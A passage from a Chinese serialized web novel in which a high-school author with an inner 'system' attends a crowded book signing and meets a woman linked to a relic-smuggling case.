王师傅带着工匠们,把最后一根雕花椽子稳稳地安在了房梁上,又把院子里的青砖重新铺得平平整整。孙教授站在院子中央,看着焕然一新的百年老宅,红漆木门,雕花窗棂,青砖灰瓦,一步步恢复了百年前的模样,眼眶湿润了好几次。 “墨墨,”孙教授拉着时墨的手,语气里满是欣慰和骄傲,“这项目能做成这样,你是首功。竣工验收报告我已经整理好了,文物局的专家组下周就过来验收。你现在什么都别管,就专心准备高考,工地这边有我们盯着,绝对出不了半点差错。等你高考完,项目验收也结束了,你再来好好看看。” 时墨看着眼前这座脱胎换骨的百年老宅,心里说不感慨是假的。从寒冬到暖春,从破败不堪到焕然一新,她在这里流过汗,也在这里差点丢了命,这座老宅,早就成了她生命进程里的一部分。 “辛苦您了,也辛苦各位师傅了。”时墨对着在场的老工匠们,深深鞠了一躬,“谢谢您这几个月对我的照顾和教导,我学到的东西比在学校里学的都珍贵。等我高考完,大家一定要来吃我的升学宴!” “升学宴?”孙教授疑惑道。 “庆祝我高考结束,考上大学!”时墨笑着解释。 “这么有自信?” “那当然!” 孙教授被她逗笑了,拍了拍她的肩膀:“行,可说好了。好好考试,我们可等着吃你的升学宴!” “好!” 时墨笑着应了,又和工匠们聊了会儿天,才离开了工地。 学校的日子也过得飞快,高考的脚步越来越近,教室上黑板每天用粉笔写的倒计时数字一天天减少,学习气氛也越来越紧张。 可时墨却依旧稳得很,每天按部就班地上课、刷题、模拟考,成绩稳得像定海神针,次次都是年级第一。老师们看在眼里,喜在心上,都等着她高考给学校争光。 就在这种紧张而有序的节奏中,时墨的新书《古宅迷踪》,如期而至。 五月中旬的一个下午,时墨正在教室里做题,孙晓梅忽然从外面冲了进来,手里扬着一张报纸,跑的直喘气:“时墨!你快看!你的新书上报纸了!” 时墨接过报纸,翻到副刊。 一整版的篇幅,标题是《一个文物守护者的自白——时墨新作〈古宅迷踪〉即将上市》,下面配了她领奖时的照片,还有一段小说里最精彩的悬疑节选。照片上的她站在领奖台上,手里拿着奖状,笑得自信又从容。 “时墨,你太牛了!”孙晓梅激动得声音都破音了,“整版!百姓日报整版!这是什么待遇啊!” 周围的同学都围了过来,七嘴八舌地议论着。 时墨被围在中间,心里也有点惊讶,她没想到林慧君的动作这么快、力度这么大,连百姓日报的整版都给争取到了。 当天下午,时墨接到了林慧君的电话。 “时墨!报纸你看到了吧?”林慧君的声音里带着掩饰不住的兴奋,“效果比我们预想的还好!今天一下午,社里的电话都快被打爆了,全是全国各地的书店打来要货的,首印的十万册,还没上市就订出去了六万多册!根本供不应求!” “林姨,辛苦你们了。”时墨真诚地说。 “辛苦什么?做一本爆书,是我们编辑的福气!”林慧君笑得合不拢嘴,“时墨,我跟你说,限量签名版的事我们已经安排好了。下周六下午两点,王府井书店,你抽出两个小时就行。不用搞太复杂,就是坐在那儿给读者签名,拍几张照片,第二天报纸上发个消息就行。” “好,我记住了,一定准时到。” “这算是你第一次以作者身份面对读者见面,林姨给你找个造型师,弄弄头发,简单化个妆。” “我还是个学生,不用吧。” “性质不一样,咱也不整那花了呼哨的。哎呀,你不用管了,林姨都给你安排好。” “麻烦林姨了。” “客气。” 挂了电话,时墨长长地吐了口气,回了班级继续上课。 【宿主,你紧张吗?第一次签售会哎!】系统好奇地问。 【不就是签售吗?小场面。】时墨笑了笑,【以前公司开年会,我上去演讲都没慌过,这点事算什么。】 【宿主还有一件事要说。】系统的声音忽然变得神秘起来,【张敬山案子背后的境外订货人……】 时墨突然道:【专案组有新发现了?】 【嗯。】系统的声音沉了下来,【张敬山的关系网名单上,有一个人扛不住审讯,在审讯中供出了一个名字。这个人,不在专案组的名单上,但张敬山跟他有秘密往来。专案组正在核实这条线索。】 时墨放下笔,坐直了身体。 【什么名字?】 系统沉默了两秒,然后吐出了三个字—— 【孙思瑶。】 孙教授的女儿?!【..top】 75-80 第76章 孙教授的女儿?怎么会和张敬山扯上关系? 她下意识想追问, 话到嘴边又咽了回去。 系统的消息来源她没法跟任何人核实,专案组那边的进展也不是她能随便过问的。更何况,孙思瑶是孙教授的女儿这件事, 跟案子之间到底是什么关系, 现在谁也说不清楚。 【能查到更多信息吗?】她在心里问。 【目前只有这么多。专案组还在核实。】系统察觉到她的情绪波动, 又问道, 【宿主,你认识这个人?】 【说不上认识。】 时墨沉默了几秒,想起了之前在工地上的一件事。 那还是项目刚开工的初春,中午歇晌的时候,她跟王师傅、李师傅几个老工匠坐在一块吃午饭。王师傅喝了两口茶, 不知怎么就聊到了孙教授家里的事。 “孙教授那人, 学问没得说,人品更是没挑的, 可这家务事……” 王师傅摇了摇头, 欲言又止,手里的缸子晃了晃。 旁边的李师傅跟着叹了口气:“可不是嘛, 家家有本难念的经, 孙教授这辈子什么都顺, 就栽在这个闺女身上了。前几年闹得多厉害。” “闹什么了?”时墨当时啃着馒头, 随口问了一句。 “具体的谁我也不清楚, 就听说父女俩大吵了一架,老孙气得够呛,住了半个月医院。”王师傅压低声音, 往时墨那边凑了凑,“那之后,谁也不敢在他面前提他闺女。有一回有个不懂事的实习生问了一句, 老孙当场就黑了脸,好几天没跟人说话。” “这么严重?”时墨有些意外。孙教授脾气是好,她认识这么久,没见过他真跟谁翻脸。 “可不是嘛。”王师傅叹了口气,“老孙这个人,嘴上不说,心里苦着呢。他老伴走得早,就这一个闺女,拉扯大不容易。谁知道闹成这样,好几年连个音信都没有。” “到底是因为啥啊?”时墨好奇道。 “没人知道。”王师傅摇头,“老孙嘴严,从不跟人说家里的事。反正听那意思,错处肯定是在闺女那边,老孙那个脾气,一辈子刚正不阿,眼里揉不得沙子,要不是真伤透了心,哪能断绝父女关系。” 李师傅也接话道:“可不是呗,我听说,他闺女好几年连个音信都没有,也真够心狠的。回来好好认个错,孙教授肯定就原谅了,父女俩哪有多大的仇。” “就是。”王师傅连连点头,“老孙那个人,心软得很。有一回我看他一个人在院子里坐着,对着他闺女小时候的照片发呆,那眼神……唉。” 她当时只当是孙教授的家事,没往心里去。毕竟家家有本难念的经,她一个外人,没必要去打听长辈的私事。 可现在一回想起来,孙教授跟女儿吵架、把人撵出家门,最后闹到断绝父女关系。说不定孙思瑶当年惹的事,就跟走私这方面有关系,只不过当初没那么严重,孙教授也只是把人撵出去,没往更深的地方想。 【小七,你帮我留意一下。】时墨在心里跟系统吩咐道,【不用花能量币特意查,有公开渠道你能碰到的信息,收集起来就行。】 【明白。】系统应了一声,又奇怪道,【你不打算告诉专案组?】 【专案组既然已经查到了这个名字,以他们的办案能力,往下深挖是迟早的事。】时墨指尖轻轻敲着桌面,【我又不是办案人员,手里也没实锤,拿什么跟人家说?我听到的那些闲话,能当证据吗?】 时墨想了想又加了一句:【再说,万一这事跟孙教授没关系呢?孙思瑶是孙思瑶,他是他。我不能因为人家闺女可能有问题,就去怀疑一个教了我这么久、真心实意带我的长辈。】 【行,听你的。】系统没再追问。 她现在最忌讳的就是分心,高考是当前的主线任务,一旦分心,前功尽弃。至于孙思瑶,只要她敢动,系统就会预警,到时候再应对也不迟。 想通了这一点,时墨把脑子里的杂念全部甩开,重新翻开习题册。 接下来的时间,她把全部精力都扑在了学习上。 她没有再买系统里有助学习的商品,不是买不起,而是追上来之后,她刻意停了。 系统商城那些东西确实好用。 记忆药水喝下去,知识点过目不忘;专注光环一打开,刷题效率直接翻倍;思维导图生成器更是神器,再杂乱的知识点,都能给她理得清清楚楚,脉络分明。 可时墨心里比谁都清楚,捷径走多了,就会忘了该怎么脚踏实地走路。 她现在依赖这些道具,觉得学习有如神助,可万一哪天系统不在了?万一这些道具用完了、商城关闭了?这种大脑的依赖惯性一旦养成,后果不堪设想。 时墨想得很清楚:道具可以用,但不能离了道具就活不了。她现在要把节奏慢下来,用自己的脑子去记、去理解、去消化。哪怕慢一点,那也是她自己真正学到的东西,谁也拿不走。 学校的日子按部就班。每天六点起床,七点到校,早读、上课、午休、上课、晚自习,回家写完作业,倒头就睡。 日子过得像复印机印出来的,几乎没有区别。 前桌孙晓梅偶尔会劝她几句:“时墨,你现在也太拼命了吧?课间都不带歇的,歇歇吧。” “快了快了,熬过这段时间就好了。”时墨头都没抬,继续刷题。 孙晓梅看她那副样子,叹了口气,也不再打扰她,默默把从家带的苹果放在她桌角。 五月中旬,天渐渐热起来了。 学校操场边上的杨树冒出了新叶,风一吹沙沙作响。教室里的吊扇吱呀吱呀地转着,把窗外的热风搅成一股股热浪,扑在脸上并不凉快。 转眼就到了周六,新书签售会的日子。 “时墨,你还没刷完题?”林薇薇端着饭盆走过来,在她对面坐下。 “嗯,马上。”时墨把最后一道大题做完,才合上习题册,伸了个懒腰。 孙晓梅把她给时墨打的饭盒放到时墨面前,抱怨道:“今天的红烧肉限量,我排了十分钟的队,差点没抢到。” “你哪次没抢到?”时墨笑着看了她一眼。 “也是。”孙晓梅嘿嘿一笑,夹了一块红烧肉塞进嘴里,含混不清地说,“对了时墨,你签售会的事准备得怎么样了?” “差不多了,今天下午。”时墨一边吃一边说,“出版社那边都安排好了,我人到就行。” 秦野得知时墨在教室吃饭,也端着搭好的饭盒走了过来,很自然地坐在了时墨对面,“时墨,下午签售会,你打算怎么过去?” “坐公交吧,两点开始,我吃完饭走,时间挺充裕的。” “那算我一个!”林薇薇也凑了过来,眼睛亮晶晶的,扒着她的胳膊晃了晃,“我跟你一起去!我长这么大,还没见过作家签售会呢!必须去给你撑场子!” 孙晓梅也立刻点头,把嘴里的米饭咽下,兴奋道:“我也是!时墨我也想去,我保证不给你添麻烦!” “是啊时墨,让我们去见识见识呗!”马东也端着饭盒走过来,坐在秦野身边,一脸期待。 时墨看着几人期待的样子,忍不住笑了。 “行啊,那就一起去。正好热闹热闹。”时墨干脆地答应了,“不过我得先把话说前头,签售的时候可能顾不上你们,你们自己找地方待着,别乱跑就行。” “没问题!”几个人异口同声地应下。 秦野等她们说完,才不紧不慢地开口:“我家司机正好放学来接我,我让他开车送我们过去,咱们几个人挤公交也不方便,周六日王府井人多,公交也挤。” “那就麻烦你了。”时墨点了点头,笑着应下了。 “不麻烦,是我们麻烦你了。”秦野听到时墨答应,眼睛亮了几分,嘴角不自觉翘了起来。 五个人吃完饭收拾好东西,一起出了校门。 秦野家的车已经等在校门口了,司机师傅看见他们,立刻下车拉开了车门。 孙晓梅不好意思地道谢,上了车,在后座坐好,忍不住小声嘀咕了一句:“秦野,你家这车可真气派。” 秦野坐在副驾驶,闻言只是笑了笑,没接话。 车子一路往王府井方向开。 林薇薇扒着车窗往外看,嘴里叽叽喳喳地说个不停:“时墨,你说今天会来多少人?一百个?两百个?” “我也不知道。”时墨实话实说,“出版社说限量签两百本,但来的人应该不止这个数。” “两百本!”马东瞪大了眼,“那得签到什么时候?手不得签酸了?” “一本签几秒,两百本用不上多久。”时墨估算了一下,“天黑前肯定结束了。” “那也挺累的。”林薇薇皱了皱眉,,从包里掏出个橘子,剥了皮递给她一瓣,“你注意休息,累了就歇会儿,别硬撑着。” “不会的。”时墨接过橘子,笑着道了谢。 周六日的王府井大街,正是最热闹的时候。 街上车水马龙,路边的国营商店挂着五颜六色的招牌,东风市场的门口人来人往,自行车流像潮水一样,叮铃铃的车铃声此起彼伏。卖冰棍的老太太挎着木箱吆喝,蹬三轮车的师傅按着车铃,在自行车流里穿梭。 路边的摊贩吆喝着,卖糖葫芦的、卖烤白薯的、卖袜子的,一声接一声,热闹非凡。 车子刚到王府井大街,还没拐到书店门口,几个人看到眼前的场景都愣住了。 只见新华书店门口,排着一眼望不到头的长龙。从书店大门口,一直蜿蜒到了马路边上,又沿着人行道拐了个弯,延伸到街角。 队伍里有背着书包的学生,有穿着工装的工人,有戴着老花镜的老知识分子,甚至还有拎着布包的中年妇女。个个手里都拿着崭新的《古宅迷踪》,大家安静地排着队,偶尔低声聊两句,都是对时墨和新书的好奇和期待,有时又交谈起书里内容,说起自己的观点。 书店门口还有几个穿着制服的工作人员,正维持着秩序,拿着大喇叭喊着“请大家有序排队,不要拥挤”。 “我的天!这么多人?!”林薇薇扒着车窗,吸了一口凉气,“我以为也就百八十人,这不得五六百了?!” 孙晓梅也激动得脸都红了,抓着时墨的胳膊使劲晃:“墨墨!你也太火了吧!也太厉害了!” 马东也凑过去看,嘴巴张得能塞进一个鸡蛋:“时墨,这些人都是来等你的?” “应该是吧。”时墨自己也有些意外。 她知道这本书热度应该会不错。林慧君跟她说过加印的消息,报纸上也做了整版宣传,百姓日报、首都晚报、青年报都发了消息。但她万万没想到,真到了签售这天,竟然有这么多人专程跑到书店来排队,就为了她的一个签名。 秦野看着门口长长的队伍,转头看向时墨,眼里满是藏不住的欣赏:“时墨,恭喜你,新书大卖。” “谢谢。”时墨笑了笑,心里其实也有些紧张了。 这么多人,她一个人签得过来吗? 车子停稳在书店侧门,几个人刚下车,一个年轻小伙子就迎了上来。 “时墨!你们可算来了!”沈岩穿着一件浅蓝色的衬衫,袖子挽到小臂,额头上有一层薄汗,嗓子都喊得有些沙哑了,看样子已经忙了一阵了。 “沈岩?”时墨有些意外,“林姨呢?怎么让你出来接我了?” “嗨,别提了。”沈岩一脸无奈,擦了把汗,“这会儿人太多了,我妈怕出乱子,在里面盯着安保的事,脱不开身,就让我出来接你了。她特意交代了,让你从后门进去,前门人太多了,怕读者看到你涌上来,出意外。” 沈岩说着,冲秦野几人笑了笑,侧身引着他们往里走“几位是时墨的同学吧?辛苦你们跟着跑一趟,里面请,我给你们找了个休息室,你们先歇着。” 林薇薇打量了一眼望不到头的队伍,咋舌道:“我的天,我们刚才看,队伍都排到马路对面去了!这也太夸张了吧?” “可不是嘛!”沈岩笑着说,“我跟你们说,今天一早书店还没开门,就有读者来排队了。还有从津市、河市看到今天签售,连夜坐火车赶过来的。开门不到一个小时,准备的两千本书就卖光了,又紧急从仓库调了货。我妈都没想到能来这么多人,临时又调了好几个工作人员过来维持秩序,不然根本顶不住。” 时墨看了沈岩一眼:“这阵仗,出版社提前做了预案?” “做了,但没想到会这么夸张啊。”沈岩一边领着他们往里走,一边说,“我妈说昨晚就有人来踩点了。” 几个人跟着沈岩从书店后门进去,穿过一条窄窄的走廊,拐了两个弯,到了一间临时收拾出来的休息室门口。沈岩推开门,把秦野几人让了进去。 “几位先在这儿坐一会儿,茶水、点心都有,随便拿。”沈岩指了指墙边的暖壶和茶叶罐,还有糕点盒,“时墨,你跟我来,我妈在那边等你。” 时墨冲秦野几人点了点头:“你们先歇着,我忙完了来找你们。” “去吧去吧,不用管我们。”孙晓梅冲她挥了挥手,已经开始打量办公室里的书架了。 时墨跟着沈岩穿过走廊,到了书店后面的一排房间。 林慧君正站在一间房门口,手里拿着一沓流程表,正跟一个工作人员说着什么。看见时墨来了,立刻把手里的东西塞给那人,三两步走过来。 “时墨!你可算来了!快进来快进来!”林慧君拉着她的手就往房间里拽,同时对沈岩说,“小岩,你去门口盯着,别让无关的人进来,再去看看读者的队伍,千万别让他们挤着了。” “知道了妈。”沈岩应了一声,转身快步离开。 时墨被林慧君拉进房间,一进门就看见一个四十来岁的女人坐在桌边,面前摆着一个打开的化妆箱,里面的工具整整齐齐。女人穿着讲究,头发盘得利索,专业气质明显,一看就是老手。 “这就是我跟你说的时墨。”林慧君介绍道,“郑兰,这孩子还在读高三,第一次跟读者见面,你多费心,给她弄得精神点,符合她的学生身份,别太花哨了。” “放心吧慧君,我心里有数。”那女人上下打量了时墨一眼,眼睛一亮,站起来绕着时墨转了一圈,啧啧称赞:“哎呀,这孩子长得也太标致了。皮肤白净,五官优越,这骨相、这灵气,真是天生的上镜脸!慧君你可没跟我说是这么漂亮的小姑娘啊!” “我跟你说过,你不信啊。”林慧君笑着道,“行了,别光顾着夸了,赶紧弄,外面还等着呢。” “不用怎么弄,底子太好了。”那女人让时墨坐下,拿起梳子给她梳了梳头发,动作轻柔利落,“这孩子五官大气,轮廓深,不用浓妆,稍微修饰一下,提提气色就够用了。再给她弄个简单的高马尾,显得精神,又符合学生的身份。” 她一边说一边动手,动作又快又稳。几分钟就把时墨的头发扎好了。额前留了几缕碎发,用卷发棒轻轻卷了一下,自然又灵动。又用粉底轻轻遮了遮她的黑眼圈,扫了点淡淡的腮红,刷了一层睫毛膏,嘴唇上涂了层浅色的口红,前后不到二十分钟就弄好了。 “好了,你看看。”郑兰把镜子递过来。 时墨看着镜子里的人,有些意外。镜子里的她还是熟悉的模样,但就是感觉不一样了。五官还是那个五官,但整个人气色好,精气神提起来了,看着更亮眼、更有朝气,半点没有化妆的痕迹,完全就是高中生该有的干净清爽的样子。 “辛苦您了,谢谢。”时墨真心实意地道谢。 “谢什么,是你自己底子好。”郑兰笑着收拾工具,“换个底子差点的,我可弄不出这个效果。” “好了,时间差不多了,读者都等急了。”林慧君笑着拉着她站起来,拍了拍她的手,语气里满是骄傲,“墨墨,别紧张,就跟平时跟人说话一样就行。安保我都安排好了,书店的工作人员加上派出所的民警,绝对不会出乱子,你安心签名就行。” “辛苦你了林姨,为了我的书,你费了这么多心思。” “跟我客气什么。”林慧君捏了捏她的手,“你是我见过最有灵气的作者,书火是应该的。走,咱们出去,跟读者见面。” 两人穿过走廊,从侧门进了签售大厅的后台。 林慧君先走到台前,拿起话筒笑着说了两句,台下瞬间安静了下来。时墨深吸一口气,调整好表情,迈步走了出去。 时墨一走出来,整个大厅瞬间安静了一秒,然后爆发出热烈的掌声和欢呼声。 前排的读者们纷纷挥着手,喊着她的名字,眼里满是激动。 “来了来了!真的是时墨!” “天呐,这么年轻?看着跟我妹妹差不多大!” “真人比报纸上照片还好看!” 时墨微笑着对着台下的读者们深深鞠了一躬,声音清亮,透过话筒传遍了整个大厅:“大家好,我是时墨。谢谢大家今天能来到现场,支持我的新书《古宅迷踪》,谢谢大家的喜爱。能让更多人看到文物保护的意义,能让更多人关注我们国家的老物件、古建筑,就是我写这本书最大的初衷。谢谢大家。” 台下的掌声更热烈了。 林慧君笑着走到台前,拿起话筒:“各位读者朋友,感谢大家今天来到现场。这位就是我们《古宅迷踪》的作者,时墨同学。时墨现在还在读高三,今天特意从学校赶过来,希望大家多多支持,也多多体谅。签售现在开始,请大家有序排队,依次上前,不要拥挤。” 掌声再次响起,时墨冲台下挥了下手,然后坐下,笑着看向第一个走过来的读者。 排在最前面的是个三十来岁的男人,穿着一件洗得发白的蓝色工装,手里捧着那本《古宅迷踪》,翻到扉页,轻轻放在时墨面前。 他的手有些粗糙,指甲缝里还带着没洗干净的泥土印子。 “麻烦在这里签个名,谢谢。”男人的声音有些紧张。 时墨接过书,签上自己的名字,又写了一句“感谢支持”,微笑着递回去。 “谢、谢谢!”男人接过书,转身走了,走了两步又回头看了一眼,好像不太确定刚才发生的是真的。 第二个、第三个、第四个…… 签售的节奏渐渐稳定下来。每个人走上前,递书,时墨签名,递回去,整个过程不过十几秒。 开始的时候,大家都很克制,拿了签名就走,连话都不多说一句。 直到第五个还是第六个——一个扎着麻花辫的小姑娘,看着跟她差不多大,穿着白衬衫蓝裤子,背着军绿色的书包,一看就是学生。 她把书递过来的时候,手都在抖,脸涨得通红,声音发颤:“时、时墨姐姐,我特别喜欢你的书!看了你的书,我才知道文物保护这么有意义,我高考想考考古系,以后也想跟你一样,保护国家的文物!” 时墨看着她亮晶晶的眼睛,心里忽然软了一下。 时墨笑着在书的扉页上写下“愿你永葆热爱,奔赴山海”,签上自己的名字,递还给她,温声道:“加油,我在首大等你。” 小姑娘接过书,激动得眼泪都掉下来了,对着她鞠了一躬,才蹦蹦跳跳地走了。 有了第一个开口的,后面的读者就渐渐放开了。 一个头发花白的老奶奶走上前,把书递给她,握着她的手感慨道:“小姑娘,你写的书我看完了,古建修复的细节写得太真实了,一看就是真的下过功夫、懂行的人。现在的年轻人,愿意沉下心来做这些事的太少了,你了不起,了不起啊!” 时墨连忙站起来,双手接过书,认真地签下名字,又写了一句“传承文脉,薪火相传”,恭敬地递回去:“谢谢您的夸奖,我还有很多要学习的地方,以后一定会继续努力,不辜负您的期望。” 后面排队的人一个接一个。 “时墨同学,你下一本书什么时候出?我等着买!” “我儿子今年也高三了,他说要以你为榜样!” “你的案子我在报纸上看了,你真的太厉害了!” “时墨,能不能麻烦你多签一句‘祝考上大学’?我妹妹今年也高考,我想送给她!” 时墨一一笑着回应,认真地给每一位读者签名,写上祝福的话,能聊的简单聊两句,尽量满足每个人。 林慧君站在旁边,看着时墨有条不紊地应对着每一位读者,温柔又耐心,不慌不忙,心里暗暗松了口气。 这孩子,比她想象的还要稳,不怯场,不慌乱,跟读者交流的时候自然大方,既有礼貌又不失分寸。 签了大概有七八十本的时候,时墨甩了甩发酸的手腕,活动了一下手指,抬起头,准备接过下一位读者递过来的书,习惯性地先看了一眼递书的人。 然后她愣住了。 站在面前的,竟然是赵星宇。 几个月不见,他像是彻底变了个人。 之前那个穿着花衬衫、吊儿郎当的纨绔子弟模样荡然无存。他穿着一身挺括的深灰色中山装,里面是熨得平整的白色衬衫,领口解开一颗扣子。头发剪短了,打理得干净利落,脸上没了之前的轻佻和桀骜,眉眼间多了几分沉稳和干练。 整个人焕然一新,跟之前告白失败后消沉颓废的样子,简直判若两人。 他手里拿着两本崭新的《古宅迷踪》,看着她,嘴角勾起一丝浅浅的笑。眼神清亮坦荡,没有了之前的偏执和急切,取而代之的是一种真诚的欣赏和笃定。 “时墨,好久不见。”他把书递到她面前,像跟一个许久未见的老朋友打招呼,语气平和自然。 时墨回过神来,也笑了笑,接过书:“好久不见,赵星宇。你怎么来了?” “买你的书,当然要来找你签名。”赵星宇的目光落在她脸上,认真道,“书我看完了,写得很好,很有力量。你做的事,比我想象的要了不起得多。” “谢谢。”时墨翻开书页,签上自己的名字,犹豫了一下,又多写了一句“前程似锦”,递回去。 赵星宇接过书,低头看了一眼扉页上的“前程似锦”,嘴角的笑意深了一些。他抬起头,目光在时墨身上驻留了几秒,像是在看什么珍贵的东西。 “时墨。”他忽然开口道。 “嗯?” “抱歉,之前是我太莽撞,太自以为是了,跟你道个歉。”赵星宇的语气很认真,不像是客套,倒像是深思熟虑之后才说出来的,“你放心,我不会再像之前那样不懂事了。你走的路很远,我会努力跟上你的脚步,堂堂正正地站在你身边。” 说完,他没等时墨反应,转身就走。 时墨无奈地按了下头。 合着还是这人还没放弃,打算换了种方式。 看来还是她的差距拉得不够大,得再努努力,让对方彻底断了这个念头。 她正想着,面前的光线忽然暗了下来。一股淡淡的香水味飘了过来,跟书店里的油墨味格格不入。 时墨抬起头,面前站着一个打扮时髦的年轻女人。 女人看着二十七八岁,烫着时下最流行的大波浪卷发,穿着一件鹅黄色的连衣裙,腰间系着一条细细的皮带,脚上蹬着一双黑色的小羊皮高跟。在清一色朴素穿着的读者里,显得格外扎眼,跟整个书店的氛围格格不入。 她手嘴角勾着一抹似笑非笑的弧度,把手里的书往前推了推,纤细的手指点了点扉页下方,声音轻飘飘的,带着一丝说不清道不明的意味: “麻烦你在这儿写上我的名字。” “好,叫什么?” “孙思瑶。”—— 作者有话说:最近换领导,导致码字时间缩短,会尽快适应,争取早点更新。 【这个bro领导真是个贱人,刷新了我的三观,让我多了个小说人设。】 第77章 “孙思瑶。” 轻飘飘三个字落进耳朵里, 时墨手里的钢笔猛地一顿,笔尖悬在纸面上,差点洇出一个墨点。 孙思瑶?她怎么会出现在这儿? 无数个念头在脑子里炸开:她来干什么?是偶然路过, 还是故意来的?她知不知道专案组已经查到了她的名字?她跟张敬山到底什么关系?她认识我吗? 但这些念头只在脑子里转了不到一秒, 就被她狠狠压了下去。 不能露馅, 不能让她看出任何破绽。 时墨缓缓抬起眼, 脸上带着恰到好处的礼貌笑意,目光在对方脸上自然地停留了一瞬,像是在看一个普通得不能再普通的读者。她的语气随意又自然:“好名字,是哪几个字?” “思瑶池的思瑶。”女人嘴角勾着一抹笑,声音轻飘飘的。 时墨低下头, 在书页下方工工整整地写下了“孙思瑶”三个字, 又签上了自己的名字,合上书, 双手递回去, 笑着说了句:“签好了,谢谢支持。” 一套动作行云流水, 挑不出半点毛病。 孙思瑶接过书, 却没急着走。 她低头摩挲了一下扉页上的签名, 指腹蹭过“时墨”两个字, 嘴角那抹笑加深了些。抬眼似笑非笑地看着她, 目光在她脸上慢慢转了一圈,带着明晃晃的试探:“小妹妹,你刚才落笔的时候顿了一下, 看我的眼神也有点不一样……”她故意拖长了语调,审视着时墨的表情,“是不是认识我?” 时墨心里“咯噔”了一下, 面上却半点波澜都没露,。 她笑着摇了摇头,抬眼扫了一眼她的打扮,语气坦然又真诚:“抱歉,第一次听这个名字。就是觉得您这身打扮太亮眼了,在城里都很少见,一时看愣了神,让您见笑了。” 这话半点不掺假。 现在满大街的姑娘们,大多还穿着的确良衬衫、蓝布工装裤,讲究点的穿件碎花连衣裙,就算时髦了。像孙思瑶这样烫着大波浪、穿着收腰连衣裙、踩着小羊皮高跟鞋、喷着进口香水的,走在街上回头率绝对是百分之百,更别说在满是朴素读者的新华书店里了。 孙思瑶闻言,眼底的那点审视瞬间散了大半。 她掩着嘴娇笑起来,眉眼间浮上一层得意,语气也轻快了几分:“原来是这样,我这衣服是托朋友从香江带回来的,内地确实少见,也就只有友谊商店能淘到两件差不多的。” “港货啊,难怪看着这么别致。”时墨真诚地点了点头,眼睛又多看了一眼那条裙子,像是真的很喜欢。 两人对视了一眼,时墨笑得乖巧无害,孙思瑶笑得意味深长。 空气里飘着一股淡淡的香水味,是市面上见不到的牌子。 无事献殷勤,非奸即盗。 时墨心里门儿清——孙思瑶明知道她是谁,明知道自己正在被专案组追查,还敢大摇大摆地出现在签售会上,走到她面前报上真名,绝对是有备而来,不可能只是来要个签名这么简单。 孙思瑶指尖摩挲着书脊,又深深看了时墨一眼,嘴角勾起一抹意味深长的笑。 “时墨同志,”她缓缓开口,嘴角那抹笑始终挂着,“你这本书写的古建修缮和文物走私,真是精彩得很,比现实里的故事还有意思。后生可畏啊。” 她顿了顿,把那本签名书夹在腋下,微微歪了歪头,声音轻得像一阵风:“咱们后会有期。” 说完,转身走了。 高跟鞋踩在水磨石地面上,发出清脆的声响,一下一下,节奏不紧不慢,像落在时墨心上。 时墨目送她的背影消失在排队的人群里,鹅黄色的连衣裙在灰蓝色的人群中格外扎眼,像一朵开在灰墙边的花。她走得从容,腰背挺得笔直,没有半点心虚的模样。 直到那抹鹅黄色彻底从视线里消失,时墨才慢慢收回目光,面上依旧挂着得体的笑,心里却像被人压了块石头,有些沉闷。 【宿主!她走了!要不要我立刻追踪她的去向?】系统急吼吼地问,声音里带着明显的紧张,【这女人胆子也太大了!竟然敢直接跑到你面前来!肯定没安好心!】 时墨重新低下头,接过下一位读者递过来的书,手上的动作半点没停,字迹依然工整。 【不用追。】她压下心底的波澜,【她敢光明正大出现在我面前,肯定是做好了万全的准备,身上没留任何尾巴。现在追上去,除了打草惊蛇,没有任何意义。她既然来了,就肯定有后手,耐心等着就行,狐狸尾巴迟早会露出来。】 【可是……万一她对你不利呢?】 【她要是想动手,刚才就不会只说两句话就走了。】时墨翻开下一本书,笔尖落在扉页上,签下自己的名字,【你帮我盯着点,只要她靠近我家、学校和孙教授住址这三个地方,立刻预警。其他的,先不用管。】 【行,听你的。】系统应了一声,又嘀咕了一句,【我就是觉得不踏实。】 时墨没再回话。 她很快调整好了状态,面上依旧笑意温和,耐心地给每一位读者签名、写祝福、回应大家的问候。有人问她喜欢吃什么,有人说她比照 片上好看,有人激动得说话都结巴了,她一一笑着应对,仿佛刚才孙思瑶的出现,只是一个微不足道的小插曲。 但只有她自己知道,那个名字已经在心里扎了根。 签售持续了近两个小时。 来的读者远不止两百个。限量签名版的书签完的时候,后面还排着长长的一队人,一眼望不到头。 林慧君站在台侧,看见了时墨微微泛红的指节,还有眼底藏不住的疲惫,又看了看台下乌泱泱的人群,皱了皱眉,正准备拿起话筒宣布签售结束。 队伍后排忽然传来了一阵骚动。 “哎,怎么不签了?前面怎么停了?” “不是说签两百本吗?这才多少啊?” 一个穿着灰色工装的中年男人硬挤开人群,冲到了队伍最前面,手里举着两本崭新的书,嗓门洪亮,带着急赤白脸的火气:“小姑娘,怎么就不签了?我们哥几个从通县赶过来的,排了整整一下午,你说不签就不签了?耍我们玩呢?” “就是啊!”他身后几个年轻小伙子立刻跟着起哄,往前挤了挤,“大老远跑过来的,总不能让我们白跑一趟吧?再签两百本!就两百本!” “是啊!再签两百本吧!时墨同学,再签一会儿吧!” “我们都等了这么久了,不签完我们不走!” 人群被他们带得躁动起来,后面排队的读者也跟着骚动起来,有人往前挤,有人踮着脚尖往前看,有人举着书使劲挥。人群往前涌了涌,维持秩序的工作人员赶紧上前拦住,两边推搡起来,场面瞬间乱了套。 时墨皱了皱眉,放下钢笔,正准备拿起话筒说再加签一百本。 旁边的林慧君眼疾手快,一把按住了她的手,冲她轻轻摇了摇头,递了个眼色——我来处理。 随即,林慧君拿起桌上的话筒,站到了台前。 “各位读者朋友们!大家静一静!静一静!” 她的声音透过话筒传遍了整个大厅,不疾不徐,带着一种让人安静下来的力量。喧闹的人群瞬间安静了不少,所有人的目光都集中到了她身上。 林慧君脸上挂着温和的笑意,语气不急不慢:“首先,我代表百姓文学出版社,代表时墨同学,给大家道个歉。让大家在大热天排了这么久的队,是我们考虑不周,准备不足,实在是对不住大家!” 她说着,对着台下深深鞠了一躬。 直起身,她的语气变得更加恳切:“非常感谢大家的热情和支持!但我必须跟大家解释一句,时墨同学今天是特意从学校请假过来的,签完这批就得回去复习功课。大家也都知道,她现在还是一名高三的学生,还有一个月就要参加高考了,每天的学习任务排得满满当当,今天能抽出两个小时来跟大家见面,已经是挤出来的所有时间了。” 林慧君说着说着,语气里带着心疼:“大家也看到了,两个小时时墨同学连口水都没顾上喝。我们也得让孩子回去复习功课,不能耽误了高考,这可是孩子一辈子的大事,大家说对不对?” 这话一出,台下嚷嚷的声音瞬间小了大半。 “哎呀,人家孩子还要高考呢,这可是一辈子的大事,算了算了。” 